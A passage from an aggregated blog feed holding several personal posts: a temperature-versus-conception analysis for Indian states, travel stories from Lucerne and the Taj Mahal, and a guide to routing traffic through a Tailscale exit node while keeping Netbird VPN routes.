<p>To understand the relationship between temperature and rate of conceptions, I looked at the average temperature over 2008-2020 in a state and calculated its correlation with the number of estimated conceptions. For the autumn months (October/November), the correlation coefficient is the highest (-0.56). But even more importantly, this figure hinted towards the seasonality being associated with temperature. The rate of conceptions across seasons varies as <strong>Winter &gt; Autumn &gt; Summer &gt; Monsoon</strong>.</p>

<p>I am sure you are thinking about heterogeneity, what does this relationship look like if we focus on each state individually?</p>

<p><a href="https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6ac002b-f903-417b-9346-bce67deb7b30_2955x1350.png"><img src="https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6ac002b-f903-417b-9346-bce67deb7b30_2955x1350.png" width="100%" /></a></p>

<p>When I broke down the association analysis for each state individually and arranged the states based on the strength of the correlation (between the relative percentage of conceptions every month and the mean temperature in each state), a beautiful pattern emerged. 24 out of 28 states for which I had data show a correlation coefficient of -0.5 or lower (that is, the absolute strength of correlation exceeds 0.5). For states like Manipur, Bihar, and Haryana the association between temperature and rate of conception is as high as 0.91, implying a higher temperature is associated with fewer conceptions and a one-degree drop in temperature will lead to an increase of 0.91% in conception assuming this relationship is indeed causal. States like Jammu and Kashmir and Uttarakhand which are usually colder have weak associations. While Kerala, which has a tropical climate, has a stronger association with a correlation coefficient of -0.82. Thus, the association is not as strong for colder climates, an observation that I previously made at the season level in my previous plot.</p>

<p><a href="https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684b2cc7-7f38-47ff-981f-b91a527be778_4650x2910.png"><img src="https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684b2cc7-7f38-47ff-981f-b91a527be778_4650x2910.png" width="100%" target="_blank" /></a></p>

<p>Causality is hard to prove here. We have strong associations that reproduce across states, Occam’s razor, and the golden fact that correlation does not imply causation. I wish the answer was as simple as those birthday parties.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Summer has come and passed  
The innocent can never last  
Wake me up when September ends

                - Billie Armstrong
</code></pre></div></div>

<hr />]]></content:encoded>
            <author>Saket Choudhary</author>
        </item>
        <item>
            <title><![CDATA[A Random Act of Kindness]]></title>
            <link>https://mrkaran.dev/posts/random-kind-stranger/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/random-kind-stranger/</guid>
            <pubDate>Sun, 21 Apr 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Last month, I did a wonderful trip travelling through the scenic landscapes of Switzerland. My wife and I were in Lucerne and had scheduled a day trip to Mt. Titlis for the next day but were wondering what to do that evening. After strolling along the Chapel Bridge and enjoying an amazing lunch by the waterfront, my wife and I collectively decided to book a Lake Lucerne cruise for the evening. It seemed like the perfect setup for a romantic date night, or so I thought!

We got the tickets from the information booth for the evening and went back to our hotel to freshen up and relax for a bit.
We arrived exactly at 6:45 PM, as mentioned on our tickets, and started to wait. Except, there were only the two of us waiting. We waited for probably half an hour, until 7:15 PM, which was the departure time. Knowing how precise the Swiss transport system usually is, I sensed something fishy. Luckily, I spotted Martin, a staff member of the cruise company, and asked him about it. He looked puzzled by my question and informed me that there was no cruise scheduled for today. Yep, not today, not tomorrow, and not for the rest of the weekend. It was Easter time, and all the cruise trips were cancelled. In fact, he was quite as puzzled as I was as to how the lady at the ticket counter even gave us the tickets for today. However, he told me that he couldn’t do much and suggested writing an email for a refund. I was a bit sad as this dashed our evening plans, but I thought, fine… Shit happens. It’s not the end of the world!
And then, out of nowhere, by pure serendipity, my wife spotted another member of the cruise—this time, in fact, the captain! She began to tell the captain about our ordeal. The captain, a very warm and kind lady, listened to my wife patiently and understood our plight! She apologized on behalf of her company and immediately offered a refund in cash for the tickets that we had purchased. We were quite happy, as following up on emails, etc., was something that I was not particularly excited about looking forward to during the other half of my trip. So we said yes, except she needed to go to the ATM to draw cash. We waited for her and chatted with Martin about random stuff! He told us some really fun stories about how Toblerone’s iconic packaging no longer features the Matterhorn mountain. He also shared practical advice on how to safeguard oneself against pickpockets in Italy(we were gonna visit it soon), and reminisced about his life in Zermatt before relocating to Lucerne.
Anyway, the wait stretched longer than usual, and I found myself wondering about her whereabouts. And then finally, we saw her approaching us. She told us that she hadn’t found a working ATM nearby, and had to go a bit far. But she didn’t come back empty-handed; she also brought us macaroons as a token of her apologies, a gesture that was incredibly thoughtful. She handed us 200 CHF in cash, covering more than the 180 CHF we had paid for our tickets. When we attempted to return the excess 20 CHF, she firmly refused to take it back. Despite our insistence on returning the excess 20 CHF, she remained steadfast, refusing to accept it. She encouraged us to use the extra money to enjoy a few drinks, suggesting it as a consolation for our evening plans being spoiled by the canceled cruise.

I am glad the cruise didn’t happen. Life has its own ways of revealing that kindness exists in every corner of the world, and serendipity can lead to the most memorable encounters! For most, it may not be a huge thing, but for me, it was a profoundly touching and generous act from a stranger who simply chose to be kind without any ulterior motives.
The lesson: Be kind to others, do no harm, and always pay it forward. :)
Fin!]]></description>
            <content:encoded><![CDATA[<p>Last month, I did a wonderful trip travelling through the scenic landscapes of Switzerland. My wife and I were in Lucerne and had scheduled a day trip to Mt. Titlis for the next day but were wondering what to do that evening. After strolling along the Chapel Bridge and enjoying an amazing lunch by the waterfront, my wife and I collectively decided to book a Lake Lucerne cruise for the evening. It seemed like the perfect setup for a romantic date night, or so I thought!</p>
<p><img src="https://mrkaran.dev/images/lucerne.jpeg" alt="image" /></p>
<p>We got the tickets from the information booth for the evening and went back to our hotel to freshen up and relax for a bit.</p>
<p>We arrived exactly at 6:45 PM, as mentioned on our tickets, and started to wait. Except, there were only the two of us waiting. We waited for probably half an hour, until 7:15 PM, which was the departure time. Knowing how precise the Swiss transport system usually is, I sensed something fishy. Luckily, I spotted Martin, a staff member of the cruise company, and asked him about it. He looked puzzled by my question and informed me that there was no cruise scheduled for today. Yep, not today, not tomorrow, and not for the rest of the weekend. It was Easter time, and all the cruise trips were cancelled. In fact, he was quite as puzzled as I was as to how the lady at the ticket counter even gave us the tickets for today. However, he told me that he couldn’t do much and suggested writing an email for a refund. I was a bit sad as this dashed our evening plans, but I thought, fine… Shit happens. It’s not the end of the world!</p>
<p>And then, out of nowhere, by pure serendipity, my wife spotted another member of the cruise—this time, in fact, the captain! She began to tell the captain about our ordeal. The captain, a very warm and kind lady, listened to my wife patiently and understood our plight! She apologized on behalf of her company and immediately offered a refund in cash for the tickets that we had purchased. We were quite happy, as following up on emails, etc., was something that I was not particularly excited about looking forward to during the other half of my trip. So we said yes, except she needed to go to the ATM to draw cash. We waited for her and chatted with Martin about random stuff! He told us some really fun stories about how <a rel="external" href="https://www.theguardian.com/world/2023/mar/05/matterhorn-mountain-toblerone-packaging-design-switzerland">Toblerone’s iconic packaging no longer features the Matterhorn mountain</a>. He also shared practical advice on how to safeguard oneself against pickpockets in Italy(we were gonna visit it soon), and reminisced about his life in Zermatt before relocating to Lucerne.</p>
<p>Anyway, the wait stretched longer than usual, and I found myself wondering about her whereabouts. And then finally, we saw her approaching us. She told us that she hadn’t found a working ATM nearby, and had to go a bit far. But she didn’t come back empty-handed; she also brought us macaroons as a token of her apologies, a gesture that was incredibly thoughtful. She handed us 200 CHF in cash, covering more than the 180 CHF we had paid for our tickets. When we attempted to return the excess 20 CHF, she firmly refused to take it back. Despite our insistence on returning the excess 20 CHF, she remained steadfast, refusing to accept it. She encouraged us to use the extra money to enjoy a few drinks, suggesting it as a consolation for our evening plans being spoiled by the canceled cruise.</p>
<p><img src="https://mrkaran.dev/images/lucerne-kind-cash.jpeg" alt="image" /></p>
<p>I am glad the cruise didn’t happen. Life has its own ways of revealing that kindness exists in every corner of the world, and serendipity can lead to the most memorable encounters! For most, it may not be a huge thing, but for me, it was a profoundly touching and generous act from a stranger who simply chose to be kind without any ulterior motives.</p>
<p>The lesson: Be kind to others, do no harm, and always pay it forward. :)</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[The Dying Excitement Of Festivals]]></title>
            <link>https://shrirangkahale.com/posts/dying-excitement-of-festivals/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/dying-excitement-of-festivals/</guid>
            <pubDate>Sat, 06 Apr 2024 13:09:55 GMT</pubDate>
            <description><![CDATA[I don’t know why but since 2020 (COVID era) festivals don’t feel the same anymore. I had the excitement and would eagerly wait for Holi (and other festivals) before. Maybe it’s because I have grown up? But that doesn’t explain why others feel the same. Somehow I think this is related with the growth of short form content on the Internet like Instagram Reels and Tiktok. People are busy scrolling and the algorithm is busy feeding them, the cycle continues.]]></description>
            <content:encoded><![CDATA[I don&rsquo;t know why but since 2020 (COVID era) festivals don&rsquo;t feel the same anymore. I had the excitement and would eagerly wait for Holi (and other festivals) before. Maybe it&rsquo;s because I have grown up? But that doesn&rsquo;t explain why others feel the same. Somehow I think this is related with the growth of short form content on the Internet like Instagram Reels and Tiktok. People are busy scrolling and the algorithm is busy feeding them, the cycle continues.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Writing maketh the 10x Developer. More so the 10x development team.]]></title>
            <link>https://www.evalapply.org/posts/writing-maketh-the-10x-developer/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/writing-maketh-the-10x-developer/index.html</guid>
            <pubDate>Fri, 05 Apr 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Writing is thinking. Software is peoples' thoughts on repeat. Developers who can pen their thoughts clearly multiply their impact. This matters even more in group work. Common sense rules; no literature major necessary.]]></description>
            <content:encoded><![CDATA[Writing is thinking. Software is peoples' thoughts on repeat. Developers who can pen their thoughts clearly multiply their impact. This matters even more in group work. Common sense rules; no literature major necessary.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>riff</category>
            <category>meta</category>
            <category>whyto</category>
            <category>writing</category>
            <category>culture</category>
            <category>tools_for_thought</category>
            <category>programming</category>
        </item>
        <item>
            <title><![CDATA[A visit to the Taj Mahal]]></title>
            <link>https://ravidwivedi.in/posts/taj-mahal/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/taj-mahal/</guid>
            <pubDate>Fri, 29 Mar 2024 10:13:21 GMT</pubDate>
            <description><![CDATA[Introduction
I visited the Taj Mahal this month with my friend Badri. Taj Mahal is a major tourist attraction, getting 7-8 million visitors per year. It is one of the most beautiful pieces of architecture.
Journey to Agra
Taj Mahal is in the city of Agra, which is 188 km from Delhi by train. We had booked a train by the name of Taj Express from Hazrat Nizamuddin station in Delhi to Agra Cantt railway station. The night before the journey, we stayed in a retiring room at Old Delhi railway station because we could not get one at Hazrat Nizamuddin station. Retiring rooms are accommodations for the passengers at the railway stations, which require a confirm train ticket to stay.
Of all the retiring rooms I have been to, locating the ones at Old Delhi station was the most challenging. I recommend reading Badri’s blog post, where he details our experience with this and other retiring rooms.

      
Our retiring room at the Old Delhi Railway Station.
The next day, we barely reached Hazrat Nizamuddin station in time for the train. However, the train had not yet arrived at the station and was delayed by half an hour.
Arrival in Agra
We reached Agra Cantt station at 10:30 hours, where we stayed in a retiring room. Before heading out to Taj Mahal, we rested in our rooms for a couple of hours, followed by having lunch at the station. As we came out of the station, we were approached by an autorickshaw driver who quoted the price to Taj Mahal as 150 INR. I negotiated the price down to 60 INR, which the driver agreed to on the condition of sharing the ride with other passengers. When we realized he was not making any effort to bring in more passengers to share the ride with, we walked away.
As we came out of the station complex, an autorickshaw driver offered a ride to the Taj Mahal for 20 INR per person on a sharing basis, or 100 INR for a reserved ride. We agreed to share the ride with other passengers for 20 INR, but the driver started driving as soon as we got in. We mistook the other person in the autorickshaw for a passenger we were sharing the ride with, but later found out that they were with the driver. Upon reaching the outer gate of the Taj Mahal, we paid him 40 INR as agreed, but he insisted that we had reserved the auto. We told him that we did not reserve the auto, but rather chose the sharing option. He insisted on this for some time. I suspect it was a scam, but we just walked away, and he didn’t pursue us further.
Exploring the Taj Mahal
The autorickshaw dropped us at one of the outer gates, from where we had to walk about 500 meters to reach the ticket counter just outside the west gate. We bought tickets worth 250 INR per person, which also allowed us to enter the mausoleum. Then we proceeded to the security check before entering the Taj Mahal complex.

      
Security outside the Taj Mahal complex.

      
This red-colored building is the entrance to where you can see the Taj Mahal.

      
Taj Mahal.
Upon entering, we saw red sandstone walls on three sides enclosing the Taj Mahal complex. We took photos using my phone and a Fujifilm camera. Later, we learned that we needed to cover our shoes before entering the mausoleum. We also saw a few people barefoot, but we couldn’t find a place to leave our shoes. We came out of the whole complex at 18:00 hours and had snacks with tea at a nearby shop. I also bought a fridge magnet as a souvenier for 30 INR.

      
Shoe covers for going inside the mausoleum.

      
Taj Mahal from a side angle.
Our next destination was Jaipur and we had booked our seats in a train from Agra Cantt station. We decided to walk towards the station, hoping to have dinner along the way. However, we could not find a place to eat. Since we enjoyed the lunch at the station earlier, we went there for dinner as well, after which we boarded our train to Jaipur. On our way back to the station, I found the bus station for the Taj Mahal.
Expenses
These were our expenses per person:
Description
Amount (Indian Rupees)




Retiring room at Delhi Railway Station (12 hours)

131



Train ticket from Delhi to Agra (Taj Express)

110



Retiring room at Agra Cantt station for 12 hours:

450



Auto-rickshaw to Taj Mahal

20



Taj Mahal ticket (including entry to the mausoleum)

250



Food

350



Total

1,311]]></description>
            <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>I visited the Taj Mahal this month with my friend Badri. Taj Mahal is a major tourist attraction, getting 7-8 million visitors per year. It is one of the most beautiful pieces of architecture.</p>
<h2 id="journey-to-agra">Journey to Agra</h2>
<p>Taj Mahal is in the city of Agra, which is 188 km from Delhi by train. We had booked a train by the name of Taj Express from Hazrat Nizamuddin station in Delhi to Agra Cantt railway station. The night before the journey, we stayed in a retiring room at Old Delhi railway station because we could not get one at Hazrat Nizamuddin station. Retiring rooms are accommodations for the passengers at the railway stations, which require a confirm train ticket to stay.</p>
<p>Of all the retiring rooms I have been to, locating the ones at Old Delhi station was the most challenging. I recommend reading Badri&rsquo;s <a href="https://badrihippo.thekambattu.rocks/blog/retiring-rooms.html">blog post</a>, where he details our experience with this and other retiring rooms.</p>
<figure><img src="https://ravidwivedi.in/images/taj-mahal/Retiring-room-in-Delhi.JPG" width="300" loading="lazy"><figcaption>
      <h4>Our retiring room at the Old Delhi Railway Station.</h4>
    </figcaption>
</figure>

<p>The next day, we barely reached Hazrat Nizamuddin station in time for the train. However, the train had not yet arrived at the station and was delayed by half an hour.</p>
<h2 id="arrival-in-agra">Arrival in Agra</h2>
<p>We reached Agra Cantt station at 10:30 hours, where we stayed in a retiring room. Before heading out to Taj Mahal, we rested in our rooms for a couple of hours, followed by having lunch at the station. As we came out of the station, we were approached by an autorickshaw driver who quoted the price to Taj Mahal as 150 INR. I negotiated the price down to 60 INR, which the driver agreed to on the condition of sharing the ride with other passengers. When we realized he was not making any effort to bring in more passengers to share the ride with, we walked away.</p>
<p>As we came out of the station complex, an autorickshaw driver offered a ride to the Taj Mahal for 20 INR per person on a sharing basis, or 100 INR for a reserved ride. We agreed to share the ride with other passengers for 20 INR, but the driver started driving as soon as we got in. We mistook the other person in the autorickshaw for a passenger we were sharing the ride with, but later found out that they were with the driver. Upon reaching the outer gate of the Taj Mahal, we paid him 40 INR as agreed, but he insisted that we had reserved the auto. We told him that we did not reserve the auto, but rather chose the sharing option. He insisted on this for some time. I suspect it was a scam, but we just walked away, and he didn&rsquo;t pursue us further.</p>
<h2 id="exploring-the-taj-mahal">Exploring the Taj Mahal</h2>
<p>The autorickshaw dropped us at one of the outer gates, from where we had to walk about 500 meters to reach the ticket counter just outside the west gate. We bought tickets worth 250 INR per person, which also allowed us to enter the mausoleum. Then we proceeded to the security check before entering the Taj Mahal complex.</p>
<figure><img src="https://ravidwivedi.in/images/taj-mahal/security-outside-taj-mahal.avif" width="300" loading="lazy"><figcaption>
      <h4>Security outside the Taj Mahal complex.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/taj-mahal/entry-to-taj-mahal.JPG" width="300" loading="lazy"><figcaption>
      <h4>This red-colored building is the entrance to where you can see the Taj Mahal.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/taj-mahal/taj-mahal.JPG" width="300" loading="lazy"><figcaption>
      <h4>Taj Mahal.</h4>
    </figcaption>
</figure>

<p>Upon entering, we saw red sandstone walls on three sides enclosing the Taj Mahal complex. We took photos using my phone and a Fujifilm camera. Later, we learned that we needed to cover our shoes before entering the mausoleum. We also saw a few people barefoot, but we couldn&rsquo;t find a place to leave our shoes. We came out of the whole complex at 18:00 hours and had snacks with tea at a nearby shop. I also bought a fridge magnet as a souvenier for 30 INR.</p>
<figure><img src="https://ravidwivedi.in/images/taj-mahal/shoe-covers.avif" width="300" loading="lazy"><figcaption>
      <h4>Shoe covers for going inside the mausoleum.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/taj-mahal/taj-mahal-from-another-angle.avif" width="300" loading="lazy"><figcaption>
      <h4>Taj Mahal from a side angle.</h4>
    </figcaption>
</figure>

<p>Our next destination was Jaipur and we had booked our seats in a train from Agra Cantt station. We decided to walk towards the station, hoping to have dinner along the way. However, we could not find a place to eat. Since we enjoyed the lunch at the station earlier, we went there for dinner as well, after which we boarded our train to Jaipur. On our way back to the station, I found the <a href="https://www.openstreetmap.org/way/1260758137">bus station</a> for the Taj Mahal.</p>
<h2 id="expenses">Expenses</h2>
<p>These were our expenses per person:</p>
<table>
<thead>
<tr>
<th><strong>Description</strong></th>
<th><strong>Amount (Indian Rupees)</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Retiring room at Delhi Railway Station (12 hours)</td>
<td><p align="right">131</p></td>
</tr>
<tr>
<td>Train ticket from Delhi to Agra (Taj Express)</td>
<td><p align="right">110</p></td>
</tr>
<tr>
<td>Retiring room at Agra Cantt station for 12 hours:</td>
<td><p align="right">450</p></td>
</tr>
<tr>
<td>Auto-rickshaw to Taj Mahal</td>
<td><p align="right">20</p></td>
</tr>
<tr>
<td>Taj Mahal ticket (including entry to the mausoleum)</td>
<td><p align="right">250</p></td>
</tr>
<tr>
<td>Food</td>
<td><p align="right">350</p></td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><p align="right"><b>1,311</b></p></td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Travelling with Tailscale]]></title>
            <link>https://mrkaran.dev/posts/travel-tailscale/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/travel-tailscale/</guid>
            <pubDate>Wed, 27 Mar 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[I have an upcoming trip to Europe, which I am quite excited about. I wanted to set up a Tailscale exit node to ensure that critical apps I depend on, such as banking portals continue working from outside the country. Tailscale provides a feature called “Exit nodes”. These nodes can be setup to route all traffic (0.0.0.0/0, ::/0) through them.
I deployed a tiny DigitalOcean droplet in BLR region and setup Tailscale as an exit node. The steps are quite simple and can be found here.
$ echo 'net.ipv4.ip_forward = 1' | sudo tee -a /etc/sysctl.d/99-tailscale.conf
$ echo 'net.ipv6.conf.all.forwarding = 1' | sudo tee -a /etc/sysctl.d/99-tailscale.conf
$ sudo sysctl -p /etc/sysctl.d/99-tailscale.conf
$ sudo tailscale up --advertise-exit-node
The node is now advertised as an exit node, and we can confirm that from the output of tailscale status:
$ sudo tailscale status                       
100.78.212.33   pop-os               mr-karan@    linux   -
100.75.180.88   homelab              mr-karan@    linux   -
100.100.191.57  iphone               mr-karan@    iOS     offline
100.123.189.14  karans-macbook-pro   mr-karan@    macOS   offline
100.104.67.7    lab                  mr-karan@    linux   offline
100.108.220.87  tailscale-exit       mr-karan@    linux   active; exit node; direct 167.71.236.222:41641, tx 21540 rx 17356
On the client side, I was able to start Tailscale and configure it to send all the traffic to the exit node with:
sudo tailscale up --exit-node=100.108.220.87
We can confirm that the traffic is going via the exit node by checking our public IP from this device:
➜ curl  https://ipinfo.io 
{
  "ip": "167.x.x.222",
  "city": "Doddaballapura",
  "region": "Karnataka",
  "country": "IN",
  "loc": "13.2257,77.5750",
  "org": "AS14061 DigitalOcean, LLC",
  "postal": "560100",
  "timezone": "Asia/Kolkata",
  "readme": "https://ipinfo.io/missingauth"
}                            
However, I encountered a minor issue since I needed to bring my work laptop for on-call duties, in case any critical production incidents required my attention during my travels. At my organization, we use Netbird as our VPN, which, like Tailscale, creates a P2P overlay network between different devices.
The problem was that all 0.0.0.0 traffic was routed to the exit node, meaning the internal traffic meant for Netbird to access internal sites on our private AWS VPC network was no longer routed via the Netbird interface.
Netbird automatically propagates a bunch of IP routing rules when connected to the system. These routes are to our internal AWS VPC infrastructure. For example:
10.0.0.0/16 via 100.107.12.215 dev wt0
Here, wt0 is the Netbird interface. So, for example, any IP like 10.0.1.100 will go via this interface. To verify this:
$ ip route get 10.0.1.100
10.0.1.100 dev wt0 src 100.107.12.215 uid 1000 
However, after connecting to the Tailscale exit node, this was no longer the case. Now, even the private IP meant to be routed via Netbird was being routed through Tailscale:
$ ip route get 10.0.1.100
10.0.1.100 dev tailscale0 table 52 src 100.78.212.33 uid 1000 
Although Tailscale nodes allow for the selective whitelisting of CIDRs to route only the designated network packets through them, my scenario was different. I needed to selectively bypass certain CIDRs and route all other traffic through the exit nodes. I came across a relevant GitHub issue, but unfortunately, it was closed due to limited demand.
This led me to dig deeper into understanding how Tailscale propagates IP routes, to see if there was a way for me to add custom routes with a higher priority.
Initially, I examined the IP routes for Tailscale. Typically, one can view the route table list using ip route, which displays the routes in the default and main tables. However, Tailscale uses routing table 52 for its routes, instead of the default or main table.
$ ip route show table 52                                                           

default dev tailscale0 
100.75.180.88 dev tailscale0 
... others ...
throw 127.0.0.0/8 
192.168.29.0/24 dev tailscale0 
A few notes on the route table:
default dev tailscale0 is the default route for this table. Traffic that doesn’t match any other route in this table will be sent through the tailscale0 interface. This ensures that any traffic not destined for a more specific route will go through the Tailscale network.
throw 127.0.0.0/8: This is a special route that tells the system to “throw” away traffic destined for 127.0.0.0/8 (local host addresses) if it arrives at this table, effectively discarding it before it reaches the local routing table.
We can see the priority of these IP rules are evaluated using ip rule show:
➜ ip rule show          
0:	from all lookup local
5210:	from all fwmark 0x80000/0xff0000 lookup main
5230:	from all fwmark 0x80000/0xff0000 lookup default
5250:	from all fwmark 0x80000/0xff0000 unreachable
5270:	from all lookup 52
32766:	from all lookup main
32767:	from all lookup default
This command lists all the current policy routing rules, including their priority (look for the pref or priority value). Each rule is associated with a priority, with lower numbers having higher priority.
By default, Linux uses three main routing tables:
Local (priority 0)
Main (priority 32766)
Default (priority 32767)
Since Netbird already propagates the IP routes in the main routing table, we only need to add a higher priority rule to lookup in the main table before Tailscale takes over.
$ sudo ip rule add to 10.0.0.0/16 pref 5000 lookup main
Now, our ip rule looks like:
$ ip rule show          
0:	from all lookup local
5000:	from all to 10.0.0.0/16 lookup main
5210:	from all fwmark 0x80000/0xff0000 lookup main
5230:	from all fwmark 0x80000/0xff0000 lookup default
5250:	from all fwmark 0x80000/0xff0000 unreachable
5270:	from all lookup 52
32766:	from all lookup main
32767:	from all lookup default
To confirm whether the packets for destination 10.0.0.0/16 get routed via wt0 instead of tailscale0, we can use the good ol’ ip route get:
$ ip route get 10.0.1.100 
10.0.1.100 dev wt0 src 100.107.12.215 uid 1000
Perfect! This setup allows us to route all our public traffic via exit node and only the internal traffic meant for internal AWS VPCs get routed via Netbird VPN.
Since, these rules are ephemeral and I wanted to add a bunch of similar network routes, I created a small shell script to automate the process of adding/deleting rules:
#!/bin/bash

# Function to add IP rules for specified CIDRs
add() {
    echo "Adding IP rules..."
    sudo ip rule add to 10.0.0.0/16 pref 5000 lookup main
    # ... others ...
}

# Function to remove IP rules based on preference numbers
remove() {
    echo "Removing IP rules..."
    sudo ip rule del pref 5000
    # ... others ....
}

# Check the first argument to determine which function to call
case $1 in
    add)
        add
        ;;
    remove)
        remove
        ;;
    *)
        echo "Invalid argument: $1"
        echo "Usage: $0 add|remove"
        exit 1
        ;;
esac
Fin!]]></description>
            <content:encoded><![CDATA[<p>I have an upcoming trip to Europe, which I am quite excited about. I wanted to set up a Tailscale exit node to ensure that critical apps I depend on, such as banking portals continue working from outside the country. Tailscale provides a feature called “Exit nodes”. These nodes can be setup to route all traffic (0.0.0.0/0, ::/0) through them.</p>
<p>I deployed a tiny DigitalOcean droplet in <code>BLR</code> region and setup Tailscale as an exit node. The steps are quite simple and can be found <a rel="external" href="https://tailscale.com/kb/1103/exit-nodes">here</a>.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">net.ipv4.ip_forward = 1</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> tee</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/sysctl.d/99-tailscale.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">net.ipv6.conf.all.forwarding = 1</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> tee</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/sysctl.d/99-tailscale.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> sysctl</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/sysctl.d/99-tailscale.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> tailscale</span><span style="color: light-dark(#032F62, #96D0FF);"> up</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-advertise-exit-node</span></span></code></pre>
<p>The node is now advertised as an exit node, and we can confirm that from the output of <code>tailscale status</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> tailscale</span><span style="color: light-dark(#032F62, #96D0FF);"> status</span><span>                       </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">100.78.212.33</span><span style="color: light-dark(#032F62, #96D0FF);">   pop-os</span><span style="color: light-dark(#032F62, #96D0FF);">               mr-karan@</span><span style="color: light-dark(#032F62, #96D0FF);">    linux</span><span style="color: light-dark(#032F62, #96D0FF);">   -</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">100.75.180.88</span><span style="color: light-dark(#032F62, #96D0FF);">   homelab</span><span style="color: light-dark(#032F62, #96D0FF);">              mr-karan@</span><span style="color: light-dark(#032F62, #96D0FF);">    linux</span><span style="color: light-dark(#032F62, #96D0FF);">   -</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">100.100.191.57</span><span style="color: light-dark(#032F62, #96D0FF);">  iphone</span><span style="color: light-dark(#032F62, #96D0FF);">               mr-karan@</span><span style="color: light-dark(#032F62, #96D0FF);">    iOS</span><span style="color: light-dark(#032F62, #96D0FF);">     offline</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">100.123.189.14</span><span style="color: light-dark(#032F62, #96D0FF);">  karans-macbook-pro</span><span style="color: light-dark(#032F62, #96D0FF);">   mr-karan@</span><span style="color: light-dark(#032F62, #96D0FF);">    macOS</span><span style="color: light-dark(#032F62, #96D0FF);">   offline</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">100.104.67.7</span><span style="color: light-dark(#032F62, #96D0FF);">    lab</span><span style="color: light-dark(#032F62, #96D0FF);">                  mr-karan@</span><span style="color: light-dark(#032F62, #96D0FF);">    linux</span><span style="color: light-dark(#032F62, #96D0FF);">   offline</span></span>
